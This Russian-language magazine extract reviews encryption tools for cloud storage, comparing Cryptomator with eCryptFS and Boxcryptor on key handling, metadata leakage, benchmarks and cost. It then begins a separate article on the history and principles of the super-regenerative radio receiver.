сетевые хра­нили­ща (в час­тнос­ти, Synology), невоз­можно быс­тро (без
перешиф­ровки фай­лов) сме­нить пароль шиф­рования. В то же вре­мя в самой
фай­ловой сис­теме механизм сме­ны пароля пре­дус­мотрен; через wrapped-
passphrase пароль шиф­рования всей пап­ки мож­но успешно сме­нить. Про‐­
изво­дите­ли сетевых хра­нилищ не исполь­зуют этот механизм. Так, в Synology
DSM в качес­тве клю­ча шиф­рования берет­ся пароль поль­зовате­ля, а в качес‐­
тве wrapping passphrase  — фик­сирован­ный пароль, что замет­но сни­жает
как безопас­ность сис­темы, так и ее фун­кци­ональ­ность.
С дру­гой сто­роны, в  слу­чае с  eCryptFS каж­дый файл содер­жит все необ‐­
ходимое для  его рас­шифров­ки  — если тебе известен ключ шиф­рования.
Это удоб­но, ког­да нуж­но перес­лать единс­твен­ный зашиф­рован­ный файл, а не
всю пап­ку.
Cryptomator работа­ет нес­коль­ко ина­че. В зашиф­рован­ной пап­ке соз­дают‐­
ся фай­лы vault.cryptomator и  masterkey.cryptomator; в  пос­леднем содер­жится
зашиф­рован­ный мас­тер‑ключ, которым будут рас­шифро­вывать­ся клю­чи шиф‐­
рования каж­дого отдель­ного фай­ла. Для рас­шифров­ки мас­тер‑клю­ча, в свою
оче­редь, исполь­зует­ся пароль поль­зовате­ля. Это  дает воз­можность
как момен­таль­но сме­нить пароль (для это­го дос­таточ­но перешиф­ровать один
лишь мас­тер‑ключ), так и  мгно­вен­но и  безопас­но унич­тожить все зашиф‐­
рован­ные дан­ные, физичес­ки затерев на дис­ке файл с мас­тер‑клю­чом.
Есть и  менее оче­вид­ная воз­можность: ты можешь соз­давать резер­вные
копии, в  сос­тав которых вой­дет все содер­жимое зашиф­рован­ной пап­ки
за  исклю­чени­ем фай­ла с  мас­тер‑клю­чом. Фай­лы из  таких резер­вных копий
невоз­можно рас­шифро­вать в прин­ципе, даже если зло­умыш­ленни­ку известен
твой пароль: тек­сто­вый пароль исполь­зует­ся не для дос­тупа к фай­лам, а для
рас­шифров­ки мас­тер‑клю­ча. Нет мас­тер‑клю­ча  — нет и  воз­можнос­ти рас‐­
шифро­вать дан­ные.

Несовершенная защита
Не­воз­можно пол­ностью защитить дан­ные, если они хра­нят­ся за  пре­дела­ми
крип­токон­тей­нера. Тот факт, что шиф­руют­ся отдель­ные фай­лы и  пап­ки, поз‐­
волит зло­умыш­ленни­ку получить некото­рую информа­цию о  зашиф­рован­ных
дан­ных. Для eCryptFS эти дан­ные таковы:
• струк­тура фай­ловой сис­темы;
• точ­ное чис­ло фай­лов;
• об­щий объ­ем зашиф­рован­ных дан­ных и раз­мер каж­дого зашиф­рован­ного
фай­ла (поз­воля­ет искать сов­падения по раз­мерам фай­лов);
• ат­рибуты фай­ла (дата и вре­мя соз­дания и пос­ледней модифи­кации).

А как с этим обсто­ит дело у Cryptomator? Нес­коль­ко луч­ше:


• струк­тура фай­ловой сис­темы  — недос­тупна; Cryptomator исполь­зует
обфуска­цию, а  для фай­лов с  длин­ными име­нами соз­дают­ся отдель­ные
под­катало­ги;
• точ­ное чис­ло фай­лов. Для  фай­лов с  длин­ными име­нами соз­дают­ся
отдель­ные под­катало­ги и  фай­лы‑ком­пань­оны, но  вычис­лить количес­тво
исходных фай­лов мож­но и без клю­ча шиф­рования;
• об­щий объ­ем зашиф­рован­ных дан­ных и раз­мер каж­дого зашиф­рован­ного
фай­ла (поз­воля­ет про­делать поиск сов­падений по раз­мерам фай­лов);
• ат­рибуты фай­ла (дата и  вре­мя соз­дания и  пос­ледней модифи­кации)  —
раз­работ­чики Cryptomator заяв­ляют, что работа­ют над  шиф­ровани­ем
атри­бутов фай­лов. Не  уве­рен, что это  пой­дет на  поль­зу: мно­гие ути­литы
резер­вно­го копиро­вания полага­ются на атри­буты вре­мени.

Мнение редактора
Сто­ит отме­тить, что срав­нивать Cryptomator с eCryptFS мож­но исклю­читель­но
в ваку­уме. В отли­чие от eCryptFS, которая есть в любом дис­три­бути­ве, Linux-
вер­сия Cryptomator рас­простра­няет­ся толь­ко в  виде обра­за AppImage,
который весит 52 Мбайт и вклю­чает в себя Java-машину и гра­фичес­кую вер‐­
сию при­ложе­ния. Если же ты хочешь получить кон­соль­ный вари­ант
Cryptomator, то единс­твен­ный вари­ант  — это  исполь­зовать Cryptomator CLI,
рас­простра­няемый в  виде фай­ла JAR, для  запус­ка которо­го тре­бует­ся уже
уста­нов­ленная Java 11. Нас­коль­ко удоб­но будет исполь­зовать такой инс­тру‐­
мент в скрип­тах и на вир­туаль­ных сер­верах «Ама­зона», можешь пред­ста­вить
сам.

ОСОБЕННОСТИ CRYPTOMATOR
Соз­дание зашиф­рован­ной пап­ки в  Cryptomator выг­лядит пре­дель­но прос­то.
Вво­дим наз­вание кон­тей­нера, выбира­ем мес­то (по умол­чанию пред­лага­ется
выбор меж­ду облачны­ми про­вай­дерами  — в  моем слу­чае это  Dropbox
и OneDrive, но под­держи­вают­ся и iCloud Drive, и Google Drive — и любой пап‐­
кой на  дис­ке) и  ука­зыва­ем пароль. Соз­даем (или не  соз­даем) ключ вос­ста‐­
нов­ления.

Все, кон­тей­нер (зашиф­рован­ный мас­тер‑ключ и неболь­шой файл с метадан‐­


ными) соз­дан. Теперь его мож­но смон­тировать. Для замеров про­изво­дитель‐­
нос­ти я исполь­зовал локаль­ную пап­ку.

Ес­ли соз­дать зашиф­рован­ную пап­ку в  Dropbox, то в  обла­ке будет при­мер­но


сле­дующее.

Эти фай­лы поз­волят смон­тировать пап­ку на  дру­гих устрой­ствах, в  том чис­ле
на  смар­тфо­не, если ты уста­новишь туда при­ложе­ние Cryptomator. Сам же
облачный сер­вис тво­их фай­лов не  уви­дит  — точ­нее, уви­дит их зашиф­рован‐­
ные вер­сии.

Собс­твен­но, это то, ради чего все и затева­лось: Dropbox хра­нит твои фай­лы,
но  не может их рас­шифро­вать. Ты же смо­жешь уста­новить на  телефон при‐­
ложе­ние Cryptomator (при­ложе­ние Dropbox для  дос­тупа к  зашиф­рован­ной
пап­ке не  нуж­но, дос­таточ­но соз­дать при­вяз­ку в  при­ложе­нии Cryptomator),
ввес­ти пароль от зашиф­рован­ной пап­ки — и дан­ные ста­нут тебе дос­тупны.

Продолжение статьи

ТРЮКИ ←
НАЧАЛО СТАТЬИ

ОБЛАКО ПОД ЗАЩИТОЙ ТЕСТИРУЕМ CRYPTOMATOR И ДРУГИЕ


ШИФРУЮЩИЕ ФС

О том, как  при­вязать и  исполь­зовать зашиф­рован­ные пап­ки с  облачны­ми


про­вай­дерами, рас­ска­зано в  до­кумен­тации. Выг­лядит это  при­мер­но как  на
скрин­шоте.

Фун­кций у  Cryptomator на  мобиль­ных устрой­ствах не  так мно­го; нап­ример,


в при­ложе­нии для iOS нет штат­ного спо­соба нас­тро­ить син­хро­низа­цию фото‐­
аль­бома с  зашиф­рован­ной пап­кой (в при­ложе­нии для  Android такая воз‐­
можность при­сутс­тву­ет). Тем не менее дос­туп к важ­ным фай­лам сох­раня­ется,
а  на компь­юте­ре таких огра­ниче­ний нет. Если же ты хочешь исполь­зовать
сквоз­ное шиф­рование для  син­хро­низа­ции фотог­рафий  — пос­мотри в  сто‐­
рону сер­виса Mega.
Ин­терес­ная осо­бен­ность Cryptomator — обфуска­ция струк­туры катало­гов.
Час­тично это  чис­то тех­ничес­кое решение (для фай­лов с  длин­ными име­нами
соз­дают­ся отдель­ные катало­ги с  дву­мя фай­лами  — содер­жимым зашиф‐­
рован­ного фай­ла и  его зашиф­рован­ным име­нем), отчасти же сде­лано соз‐
натель­но, что­бы зат­руднить воз­можность иден­тифика­ции по чис­лу и раз­меру
фай­лов в катало­ге. Я про­тес­тировал эту воз­можность; выг­лядит она так.
Со­дер­жимое незашиф­рован­ной пап­ки:

G:.

| WELCOME.rtf

\---2016

+---07

| IMG_2016_07_01_16_14_5600.jpg

| IMG_2016_07_01_16_11_3900.jpg

| IMG_2016_07_01_16_11_4400.jpg

| IMG_2016_07_01_16_10_0700.jpg

| IMG_2016_07_01_16_14_1500.jpg

+---01

| IMG_2016_01_03_12_22_0900.jpg

| IMG_2016_01_03_12_22_0200.jpg

| IMG_2016_01_03_12_22_1100.jpg

| IMG_2016_01_03_12_21_5300.jpg

+---04

| IMG_2016_04_21_16_04_1500.jpg

+---05

| IMG_2016_05_01_14_34_0600.jpg

| IMG_2016_05_01_14_34_1000.jpg

| IMG_2016_05_01_14_34_0200.jpg

\---06

IMG_2016_06_03_18_01_0200.jpg

IMG_2016_06_03_18_00_4000.jpg

А вот как выг­лядит та же пап­ка, но в зашиф­рован­ном виде (здесь при­веде­на


толь­ко часть лис­тинга):

F:.

| IMPORTANT.rtf

| masterkey.cryptomator

| vault.cryptomator

\---d

+---4H

| \---TD3CWCFSTS7VUHGVTBDFPQZVO223U3

| +---0g9J-_jgFO_kMhu1urXobjwY.c9r

| | dir.c9r

| |

| +---cqTUhWxKgUxOKYRyEaLj5HRE.c9r

| | dir.c9r

| |

| +---m-DSWVeYyPogxkeGjpBFImj5.c9r

| | dir.c9r

| |

| +---ppPxaJGVhLPK8J0RmJ-But8t.c9r

| | dir.c9r

| |

| \---v086lvJ5yXGfctveff6UvvVO.c9r

| dir.c9r

+---77

+---JQ

+---NX

| \---E6PMXLIKCAKKERUMB3RVNKOOMYTESS

| 9l0EohTQJFHu7TioBlynQT16F9Oru9QngQ_2l4Vjm8FD83GSFPF_
DfquoMPr.c9r

| RrAwURAxq94yNNEiviSFgHCX9EXA9DgS9wQlg2i7U-tA3Gq3y_
8fZgka1IXS.c9r

| vIQ-JTS2L-J8D9UkeWairkOd6FMwHlJAT6G1j9BztwVH5eCKWJs-
h3o6xF2Y.c9r

| zchERCt2nRER1FT0q8PFTlnrVPPPRDHN8geUF59BQdbBK_
PgfWpP867IjII8.c9r

...

В вер­сии для  Windows Cryptomator работа­ет по  прин­ципу fused file system
через WebDAV либо под­систе­му Dokany, которую пред­лага­ется допол­нитель‐­
но уста­новить пос­ле уста­нов­ки Cryptomator. Сто­ит ли это  делать? Я про­тес‐­
тировал Cryptomator в нес­коль­ких кон­фигура­циях на одном и том же кон­тей‐­
нере; резуль­тат — ниже.
Для начала на быс­тром SSD (Samsung 970 Evo Plus) в локаль­ной пап­ке был
соз­дан пус­той кон­тей­нер. Вот резуль­тат тес­та CrystalDiskMark.

Об­рати вни­мание: в  качес­тве тес­тового устрой­ства наз­начена пап­ка, а  не


блоч­ный накопи­тель, который добав­ляет в сис­тему Cryptomator при соз­дании
зашиф­рован­ной пап­ки.
Пос­ле это­го та же пап­ка была смон­тирова­на через Dokany; бен­чмарк
получил­ся такой.

От­мечу, что в этом слу­чае CrystalDiskMark уда­лось завер­шить все тес­ты лишь
с  треть­ей попыт­ки; в  двух пер­вых про­ходи­ли толь­ко пер­вые два тес­та, а  на
мес­те осталь­ных были нули.
Да­лее я перемес­тил зашиф­рован­ную пап­ку в  Ramdisk, что­бы исклю­чить
вли­яние SSD на  резуль­таты тес­тирова­ния. Для  начала  — ско­рость самого
рам­диска.

Пов­торяю тест через WebDAV.

Осо­бой раз­ницы не  наб­людаю. Теперь то же самое, но  через Dokany. Бен‐­
чмарк получил­ся, как видишь, не очень.

Мой вывод: в Windows 10 смыс­ла в исполь­зовании Cryptomator через Dokany


нет. Ско­рость сущес­твен­но ниже, надеж­ность — катас­тро­фичес­ки ниже, чем
при исполь­зовании WebDAV.
На­конец, в  режиме WebDAV я замерил сред­нюю ско­рость копиро­вания
мел­ких фай­лов (фото­аль­бом объ­емом  7  Гбайт, поряд­ка  5600  фотог­рафий):
запись  — 120  Мбайт/с, чте­ние  — 132  Мбайт/с. Для  зашиф­рован­ной пап­ки
впол­не при­лич­но, но, конеч­но же, нес­равни­мо со  ско­ростью работы даже
зашиф­рован­ного BitLocker дис­ка.

CRYPTOMATOR: ДОСТОИНСТВА И НЕДОСТАТКИ


Итак, Cryptomator нас­тро­ен и  про­тес­тирован. Под­ведем итог, перечис­лив
силь­ные и  сла­бые сто­роны решения. К  плю­сам Cryptomator я отне­су сле‐­
дующее:
1. Ра­бота­ет на  компь­юте­рах (Windows, macOS, Linux) и  мобиль­ных устрой‐­
ствах (Android, iOS), при этом на компь­юте­рах — бес­плат­но.
2. Дос­тупен в ис­ходни­ках.
3. Есть при­ложе­ния для  всех популяр­ных плат­форм: для  дос­тупа к  зашиф‐­
рован­ным фай­лам дос­таточ­но уста­новить и  нас­тро­ить соот­ветс­тву­ющее
при­ложе­ние.
4. Под­держи­вают­ся длин­ные име­на фай­лов (бич, прес­леду­ющий eCryptFS
и мно­гие дру­гие крип­тогра­фичес­кие фай­ловые сис­темы).
5. Мож­но как  момен­таль­но сме­нить пароль шиф­рования, так и  унич­тожить
все зашиф­рован­ные фай­лы, сде­лав дан­ные недос­тупны­ми: для это­го дос‐­
таточ­но уда­лить файл с мас­тер‑клю­чом.
6. Пол­ностью авто­ном­ное шиф­рование: мож­но ско­пиро­вать зашиф­рован­ную
пап­ку на  дру­гой диск, пос­ле чего смон­тировать ее уста­нов­ленным
или пор­татив­ным вари­антом Cryptomator.
7. Бе­зопас­ное резер­вное копиро­вание: для соз­дания и под­держа­ния резер‐­
вных копий (в том чис­ле инкре­мен­тных) нет необ­ходимос­ти рас­шифро‐­
вывать дан­ные и мон­тировать зашиф­рован­ные сетевые пап­ки.
8. Воз­можны инкре­мен­тные резер­вные копии: вре­мя пос­ледней модифи‐­
кации каж­дого фай­ла дос­тупно без клю­ча шиф­рования.
9. За­шиф­рован­ные фай­лы мож­но ско­пиро­вать куда угод­но: на любой встро‐­
енный или  внеш­ний диск, отформа­тиро­ван­ный в  любой фай­ловой сис‐­
теме, на  любой NAS любого про­изво­дите­ля, в  любой облачный сер­вис,
на уда­лен­ный сер­вер по любому под­держи­ваемо­му про­токо­лу.
10. Шиф­руют­ся как  сами дан­ные, так и  име­на папок и  фай­лов. Для  сок­рытия
струк­туры катало­гов исполь­зует­ся обфуска­ция.

В минусы запишу сле­дующие пун­кты:


1. Ста­биль­ность и  ско­рость работы в  Windows 10  через Dokany оставля­ет
желать луч­шего.
2. С исполь­зовани­ем WebDAV ско­рость работы выше и  дос­тига­ет при­емле‐­
мых величин, оста­ваясь, впро­чем, не очень высокой.
3. Из­быточ­ность: пос­коль­ку шиф­рование имен фай­лов в фай­ловых сис­темах,
работа­ющих по прин­ципу fused, всег­да слу­жит сво­еоб­разным «кос­тылем»,
Cryptomator соз­дает отдель­ные пап­ки и  фай­лы‑ком­пань­оны для  фай­лов
с  длин­ными име­нами. Если таких фай­лов у  тебя мно­го, то дос­туп к  ним
будет очень мед­ленным.
4. Не пре­дус­мотрен спо­соб син­хро­низи­ровать фото­аль­бомы с  мобиль­ных
устрой­ств в зашиф­рован­ную пап­ку.

CRYPTOMATOR ИЛИ BOXCRYPTOR?


Хо­телось  бы написать пол­ноцен­ный обзор‑иссле­дова­ние всех популяр­ных
крип­тогра­фичес­ких фай­ловых сис­тем, но  огра­ниче­ния по  вре­мени и  объ­ему
зас­тавля­ют уре­зать осет­ра, так что срав­нение с  Boxcryptor получи­лось
доволь­но повер­хностным.
Boxcryptor  — это  сер­вис, реша­ющий прин­ципи­аль­но те же задачи,
которые реша­ет Cryptomator. При  этом, в  отли­чие от  Cryptomator, Boxcryptor
дос­тупен по  под­писке. Бес­плат­ная вер­сия сер­виса сущес­тву­ет, но  тре­бует
регис­тра­ции учет­ной записи, при  этом чрез­вычай­но фун­кци­ональ­но огра‐­
ниче­на: нап­ример, в  ней невоз­можно зашиф­ровать име­на фай­лов, а  при‐­
вязать мож­но толь­ко один облачный сер­вис. Есть ли смысл исполь­зовать
плат­ный сер­вис Boxcryptor, если сущес­тву­ет бес­плат­ный Cryptomator?
И наобо­рот, отка­зыва­ешь­ся ли ты от чего‑то важ­ного, поль­зуясь бес­плат­ным
про­дук­том вмес­то дос­тупно­го по под­писке сер­виса? Про­веду корот­кое срав‐­
нение, но  преж­де рекомен­дую озна­комить­ся с, так ска­зать, офи­циаль­ными
матери­ала­ми:
• Boxcryptor про­тив Cryptomator про­изво­дите­ля Boxcryptor;
• Cryptomator про­тив Boxcryptor раз­работ­чиков Cryptomator.

Сто­имость. Подож­ди, Cryptomator же вро­де бы бес­плат­ный? Так, да не так:


бес­плат­ны при­ложе­ния для дес­ктоп­ных плат­форм, а за мобиль­ные при­ложе‐­
ния (iOS, Android) пот­ребу­ется зап­латить  9,99  дол­лара/евро. Впро­чем,
Boxcryptor все рав­но дороже: за пер­вый пос­ле бес­плат­ного уро­вень сер­виса
про­сят 36 евро в год (бес­плат­ный же уро­вень доволь­но силь­но огра­ничен).
Воз­можность шиф­рования Camera Roll. Син­хро­низа­ция фотог­рафий
с обла­ком. Плюс в поль­зу Boxcryptor: в мобиль­ных при­ложе­ниях реали­зова­на
под­дер­жка шиф­рования син­хро­низи­рован­ных фотог­рафий, при­чем в  при‐­
ложе­нии для iOS даже при­сутс­тву­ет под­дер­жка Files с генера­цией умень­шен‐­
ных вер­сий изоб­ражений на  лету. Раз­работ­чики сер­виса пос­вятили это­му
целую статью. Cryptomator под­держи­вает син­хро­низа­цию фотог­рафий
с обла­ком толь­ко в при­ложе­нии для Android; в iOS под­дер­жка отсутс­тву­ет.
От­кры­тый исходный код. +1 в поль­зу Cryptomator.
Тре­бует­ся учет­ная запись. Боль­шой и  жир­ный +1 Cryptomator,
который не тре­бует­ся регис­три­ровать у раз­работ­чиков прос­то для того, что‐­
бы он работал. А вот Boxcryptor тре­бует регис­тра­ции учет­ной записи, которая
при этом активно исполь­зует­ся: ключ шиф­рования мас­тер‑клю­ча хеширу­ется
не  на компь­юте­ре поль­зовате­ля, а  на сер­верах Boxcryptor (что, кста­ти, соз‐­
дает некото­рую неуве­рен­ность в будущем про­екта: а что слу­чит­ся, если сер‐­
вер зак­роет­ся?).
По­лити­ка защиты кон­фиден­циаль­нос­ти. И  сно­ва +1  в  поль­зу
Cryptomator, раз­работ­чики которо­го не  получа­ют и  не хра­нят никакой
информа­ции о  сво­их поль­зовате­лях. Boxcryptor утвер­жда­ет, что он Zero
Knowledge Provider, но в то же вре­мя собира­ет и хра­нит сле­дующую информа‐­
цию:

« •


Email address
First and last name
Country
• Etc.

Keys and Additional Values


Additionally, we store keys and values that are necessary for encrypting
and decrypting processes. Of course, these values are protected carefully
as well.
• Private RSA key (encrypted with the user’s password)
• Public RSA key
• AES keys (encrypted with the user’s password / wrapping key)
• Hash of the password hash
• Number of KDF iterations used in the key and password hash derivation
functions
• Salt (used to salt the password key and the password hash server side)
• Password hash salt
• If a  company uses the  Master Key: Password Key (encrypted with
the company’s public RSA key)

Чес­тно говоря, не  очень хочет­ся раз­бирать­ся, какие имен­но из  этих клю­чей
»
могут быть исполь­зованы для  вос­ста­нов­ления дос­тупа к  зашиф­рован­ным
дан­ным при утеч­ке. В слу­чае с Cryptomator делать это­го и не нуж­но: никакие
клю­чи на внеш­них сер­верах не хра­нят­ся.
Двух­фактор­ная аутен­тифика­ция. Казалось бы, ее под­дер­жку нуж­но
записать в плю­сы Boxcryptor, но при исполь­зовании Cryptomator двух­фактор‐­
ная аутен­тифика­ция не  под­держи­вает­ся прос­то потому, что нет и  одно­фак‐­
торной: учет­ная запись тре­бует­ся толь­ко для Boxcryptor.
Ста­биль­ность работы. +1  в  поль­зу Boxcryptor: про­ект стар­ше и  луч­ше
отла­жен.
Шиф­рование имен фай­лов и  папок. Есть в  обо­их про­дук­тах, но  в
Boxcryptor — толь­ко за день­ги. Еще +1 в поль­зу Cryptomator.
Ог­раниче­ния на  чис­ло устрой­ств и  облачных сер­висов.
У  Boxcryptor есть огра­ниче­ния в  зависи­мос­ти от  выб­ранно­го пла­на;
у Cryptomator таких огра­ниче­ний нет. Еще +1 в поль­зу Cryptomator.
Об­фуска­ция струк­туры фай­ловой сис­темы. И  сно­ва +1  в  поль­зу
Cryptomator. Этот пункт, пожалуй, сто­ит пояс­нить раз­верну­то. Сущес­тву­ют
про­дук­ты, которые соз­дают опре­делен­ную струк­туру катало­гов, и  в каж­дом
из них могут быть свои под­катало­ги и/или опре­делен­ное количес­тво фай­лов.
Ана­лиз фай­ловой струк­туры, таким обра­зом, может помочь ата­кующе­му
догадать­ся, что исполь­зует­ся та или иная прог­рамма.
Воз­можность кол­лабора­ции через ссыл­ки на  фай­лы (без ука­зания
пароля): а  вот здесь +1  получа­ет Boxcryptor. В  Boxcryptor есть воз­можность
орга­низо­вать сов­мес­тную работу над  докумен­том нес­коль­кими поль­зовате‐­
лями, при этом ни один из них не дол­жен будет раз­гла­шать свой пароль.
Та­ким обра­зом, Cryptomator выиг­рыва­ет с  раз­гром­ным сче­том
при  исполь­зовании в  домаш­них усло­виях за  единс­твен­ным исклю­чени­ем:
син­хро­низа­ция фотог­рафий. Boxcryptor, с  дру­гой сто­роны, поз­воля­ет ком‐­
пани­ям орга­низо­вать сов­мес­тную работу над докумен­тами, пред­лага­ет более
ста­биль­ное и  отла­жен­ное при­ложе­ние, син­хро­низа­цию фотог­рафий
и интегра­цию с Files в iOS.

ЗАКЛЮЧЕНИЕ
Нуж­дают­ся ли твои дан­ные в допол­нитель­ной защите — решать тебе. Веро‐­
ятно, нуж­дают­ся, но не все. Веро­ятно, ты захочешь защитить циф­ровые копии
докумен­тов (пас­порта, водитель­ские пра­ва) и  какие‑то еще  дан­ные, дос­туп
к  которым может пот­ребовать­ся в  неожи­дан­ный момент и  в неожи­дан­ном
мес­те.
«Лич­ный сейф OneDrive» спо­собен успо­коить нер­вы тех­ничес­ки малог‐­
рамот­ных поль­зовате­лей; как‑то осо­бен­но защитить (а тем более зашиф‐­
ровать) твои дан­ные он не  может. Извес­тный спо­соб с  крип­токон­тей­нером
в обла­ке по‑преж­нему работа­ет и по‑преж­нему безопа­сен, одна­ко про­игры‐­
вает в  удобс­тве более сов­ремен­ным вари­антам, в  роли которых выс­тупа­ют
крип­тогра­фичес­кие облачные сис­темы.
Са­мых рас­простра­нен­ных вари­антов сегод­ня два: появив­ший­ся чуть рань‐­
ше плат­ный сер­вис Boxcryptor и  про­ект с  откры­тым исходным кодом
Cryptomator. Оба про­дук­та реша­ют одну и ту же задачу, но дела­ют это по‑раз‐­
ному. Резуль­тат моего иссле­дова­ния дос­таточ­но однозна­чен: если брать
для себя, бери Cryptomator — это бес­плат­но, удоб­но и безопас­но. Ком­пани‐­
ям может боль­ше подой­ти Boxcryptor, но  толь­ко в  том слу­чае, если необ‐­
ходимо орга­низо­вать сов­мес­тную работу над  докумен­тами через облачные
сер­висы.
GEEK

СВЕРХ
РЕГЕНЕРАТОР СОБИРАЕМ
РАДИОПРИЕМНИК
ИЗ ВОСЬМИ
ДЕТАЛЕЙ

Candidum
duospirit@gmail.com

Ес­ли у  сов­ремен­ного челове­ка вдруг появит­ся инте­рес


к элек­тро­нике, он, ско­рее все­го, возь­мет в руки не паяль­ник,
а  Arduino. Соберет прос­тень­кую схе­му, помига­ет све­тоди‐­
одом, под­клю­чит какой‑нибудь дат­чик. Но  еще  15–20  лет
назад такой воз­можнос­ти не  было: люди обу­чались азам
схе­мотех­ники, собира­ли ради­опри­емни­ки и  про­чие полез‐­
ные устрой­ства. Сре­ди которых осо­бое мес­то занима­ет схе‐­
ма со  свер­хре­гене­рато­ром, отли­чающаяся пре­дель­ной
прос­тотой. Сегод­ня мы погово­рим о том, как самос­тоятель‐­
но соб­рать такой девайс.

При­емни­ки пря­мого уси­ления в  наше вре­мя уже ник­то не  конс­тру­ирует,


потому что на  них ничего не  пой­маешь. А  вот свер­хре­гене­ратор, которо­му
в сле­дующем году исполнит­ся 100 лет, все еще пред­став­ляет инте­рес. Конеч‐­
но, как  уже говори­лось в  статье о  су­пер­гетеро­дине, ждать от  него качес­тва
зву­чания совер­шенно бес­смыс­ленно. Но, учи­тывая пре­дель­ную прос­тоту схе‐­
мы, в  которой может быть мень­ше десяти деталей, резуль­таты его работы
выг­лядят очень впе­чат­ляюще. Если у  тебя чешут­ся руки соб­рать что‑нибудь
элек­трон­ное, но хочет­ся выб­рать про­ект поп­роще — эта статья для тебя.

INFO
Я регуляр­но собираю ради­опри­емни­ки раз­личных
конс­трук­ций и  делюсь сво­им опы­том с  читате‐
лями:
•Лам­повый сиг­нал. Собира­ем FM-ради­опри‐­
емник на лам­пах
•Лам­пы по‑новому. Собира­ем лам­повый при‐­
емник с сов­ремен­ным управле­нием
•Сек­реты SI473X. Дела­ем при­емник и  ищем
скры­тые воз­можнос­ти мик­росхе­мы SDR
•Су­пер­гетеро­дин. Как  я соб­рал корот­ковол‐­
новый ради­опри­емник на STM32 и Si5351

ИСТОРИЯ
Здесь сто­ит начать нес­коль­ко изда­лека, а  имен­но с  изоб­ретения Ли де
Форес­том тре­хэлек­трод­ной лам­пы в 1906 году.

Пер­вый три­од

На фотог­рафии не  вид­но нити накала  — она, веро­ятно, сго­рела или  осы‐­
палась. Но  так или  ина­че это  пер­вая лам­па, спо­соб­ная уси­ливать сиг­нал,
с  нее все и  началось. При­мер­но в  1912  году Ли де Форест и  незави­симо
от  него Эдвин Армстронг изоб­рета­ют регене­ратив­ный при­емник. На  самом
деле на  пер­венс­тво в  этом воп­росе пре­тен­довали еще  нес­коль­ко человек,
но  это не  так важ­но. Любопыт­нее, что начиная с  1914  года Форест
с  Армстрон­гом судились за  пра­во счи­тать­ся изоб­ретате­лем это­го девай­са
и успо­коились толь­ко в 1934-м, ког­да патент стал уже неак­туален.
Пер­венс­тво перехо­дило из рук в руки четыр­надцать раз и в ито­ге оста­лось
за  Форес­том. На  этом мы оста­вим Форес­та и  будем даль­ше говорить
об  Армстрон­ге. Перед  инже­нера­ми и  любите­лями в  то вре­мя сто­яла острая
проб­лема: как  выжать из  лам­пы все, что она может. Ведь тог­дашние лам­пы
обла­дали очень скром­ными парамет­рами (низ­кий коэф­фици­ент уси­ления,
низ­кая пре­дель­ная час­тота) и при этом очень нес­кром­ной ценой.

РЕГЕНЕРАТОР
Идея решения этой проб­лемы  — исполь­зовать положи­тель­ную обратную
связь  — витала в  воз­духе дав­но. На  рисун­ке пред­став­лена схе­ма типич­ного
для  тех вре­мен регене­ратив­ного при­емни­ка, она взя­та из  бо­лее поз­дне­го
изда­ния, но  лишь для  того, что­бы боль­ше напоми­нала сов­ремен­ную манеру
начер­тания схем — смот­реть при­выч­нее, а суть та же. Ее мож­но наз­вать схе‐­
мой Армстрон­га. Отли­читель­ная чер­та этой схе­мы  — индуктив­ная обратная
связь.

Ти­пич­ный регене­ратив­ный при­емник 1910–20-х годов

Вы­игрыш в уси­лении дос­тига­ется бла­года­ря час­тично­му воз­вра­ту уси­лен­ного


сиг­нала из  анод­ной цепи в  сеточ­ную. Тем самым ком­пенси­руют­ся потери
в кон­туре, в резуль­тате повыша­ется его доб­ротность. А так как ампли­туда сиг‐­
нала в  кон­туре про­пор­циональ­на доб­ротнос­ти, то интенсив­ность сиг­нала
рас­тет. Кро­ме того, полоса про­пус­кания сужа­ется обратно про­пор­циональ­но
доб­ротнос­ти, что в  дан­ном слу­чае тоже хорошо. Одна­ко нак­ручивать уси‐­
ление положи­тель­ной обратной связью мож­но лишь до  извес­тно­го пре‐­
дела — порога генера­ции. По дос­тижении это­го порога потери в кон­туре пол‐­
ностью ком­пенси­руют­ся и сиг­нал начина­ет экспо­нен­циаль­но рас­ти, пока лам‐­
па не дос­тигнет насыще­ния, а уси­литель не прев­ратит­ся в генера­тор.
Пос­ле это­го уси­ление при­нято­го сиг­нала уже невоз­можно, и  ампли­туда
собс­твен­ных колеба­ний не зависит от уров­ня вход­ного сиг­нала, при усло­вии,
что ампли­туда сиг­нала нам­ного мень­ше ампли­туды собс­твен­ных колеба­ний.
Впро­чем, работу регене­рато­ра мож­но пред­ста­вить себе и  по‑дру­гому. Так,
бла­года­ря положи­тель­ной обратной свя­зи вход­ной сиг­нал мно­гок­ратно про‐­
ходит через уси­литель­ный кас­кад, каж­дый раз уси­лива­ясь. Оче­вид­но, что
наиболь­шее уси­ление получа­ется в  непос­редс­твен­ной бли­зос­ти от  порога
генера­ции, и  это глав­ная проб­лема регене­рато­ров, пос­коль­ку око­ло порога
к  генера­ции могут при­вес­ти совер­шенно нез­начитель­ные изме­нения
парамет­ров схе­мы или величи­ны вход­ного сиг­нала.
Усу­губ­ляет­ся это  наличи­ем гис­терези­са, то есть порог генера­ции лежит
выше порога сры­ва генера­ции. Ины­ми сло­вами, что­бы оста­новить генера‐­
цию, нуж­но зна­читель­но осла­бить обратную связь. В  пред­став­ленной схе­ме
обратную связь регули­рова­ли сбли­жени­ем и  отда­лени­ем катушек. Что же
каса­ется самого детек­тирова­ния сиг­налов, то здесь за него отве­чает учас­ток
«катод — сет­ка — грид­лик R» (резис­тор утеч­ки сет­ки, пря­мая каль­ка с англий‐­
ско­го). Учас­ток «катод  — сет­ка» работа­ет как  диод, а  вып­рямлен­ное нап‐­
ряжение филь­тру­ется кон­денса­тором и  потом уси­лива­ется лам­пой. Такой
детек­тор в  нашей литера­туре называл­ся се­точ­ным, а  в зарубеж­ной  — Grid-
leak detector.
Впро­чем, о грид­лике мы еще погово­рим. Парал­лель­но схе­ме Армстрон­га
сущес­тво­вала схе­ма упо­мяну­того Ли де Форес­та, наз­ваная им «уль­тра­удион»
(поз­днее наз­вание пере­ина­чили на  «уль­тра­ауди­он»). Схе­ма базиру­ется
на трех­точеч­ном генера­торе.

Уль­тра­ауди­он Форес­та

Эта иллюс­тра­ция поза­имс­тво­вана пря­миком из  патен­та от  1914  года,


по поводу которо­го и была тяж­ба дли­ной в двад­цать лет. В более при­выч­ном
нам исполне­нии схе­ма сущес­тво­вала во вто­рой полови­не 1920-х.

Уль­тра­ауди­он

